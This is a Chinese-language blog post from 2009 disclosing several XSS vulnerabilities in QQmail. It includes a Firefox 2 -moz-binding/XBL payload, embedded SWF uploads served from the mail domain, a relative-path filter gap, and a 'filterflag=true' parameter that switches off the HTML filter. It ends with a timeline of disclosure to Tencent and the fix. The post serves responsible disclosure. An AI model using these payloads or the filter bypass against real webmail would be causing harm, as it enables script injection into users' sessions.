QQmail Multiple Xss Vulnerabilities

作者: www.80vul.com

1. firefox2 css xss vulnerabilities

<style>BODY{-moz-binding:url("http://www.80vul.coom/test.xml#xss")}</style>

test.xml:

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl">
<bindingSpellE">xss">
<implementation>
<constructor><![CDATA[alert('XSS')]]></constructor>
</implementation>
</binding>
</bindings>

[PS:firefox3开始不允许-moz-binding:url引用远程文件]

2. 设计缺陷导致的xss漏洞

A.上传文件直接导致xss漏洞

在qqmail的附件和图片上传功能上存在着设计缺陷:

* 上传文件存放域和qqmail是同一个域
* 上传的文件后缀及内容根本没有做安全限制,直接导致上传一些恶意文件导致xss[如swf文件]

image002

B.qqmail的Filter系统是不允许引用外部文件的[src=],但是它允许本地相对路径的文件引用

例如:

<embed src="http://www.80vul.com/test.swf" type="application/x-shockwave-flash" allowscriptaccess="always" width="0" height="0"></embed>

会被替换为:

<embed src="#" type="application/x-shockwave-flash" allowscriptaccess="always" width="0" height="0"></embed>

但是它允许本地相对路径的文件引用,利用这个设计缺陷和上面A提到的”上传文件存放域和qqmail是同一个域”,综合利用导致xss漏洞

<embed src="/data/test.swf" type="application/x-shockwave-flash" allowscriptaccess="always" width="0" height="0"></embed>

同样的比如上面1里提到的,也可以通过这个实现对firefox3的利用.[另外flash xml等文件的调用是可以修改后缀的 J]

C.qqmail的Filter系统一个设计缺陷导致完全绕过Filter系统.

qqmail的Filter系统的设计者,可能是为了功能与安全过滤上的和谐,给用户留下了一个’开关’:当提交开关filterflag=true时, Filter系统将不在起作用:

http://m348.mail.qq.com/cgi-bin/readmail?mailid=ZC1217iK5yq~a8ToGOBNZbWCXXXw86&folderid=1&t=readmail&&&groupid=&sid=Cks1q-OzUAjlT0gB&disptype=html&dispimg=1&filterflag=true

image004

3. 其他
2009.4.17-18发现漏洞
2009.4.18 通知腾讯安全中心
2009.5.x 修补以上漏洞

相关日志

楼被抢了 3 层了... 抢座Rss 2.0或者 Trackback

发表评论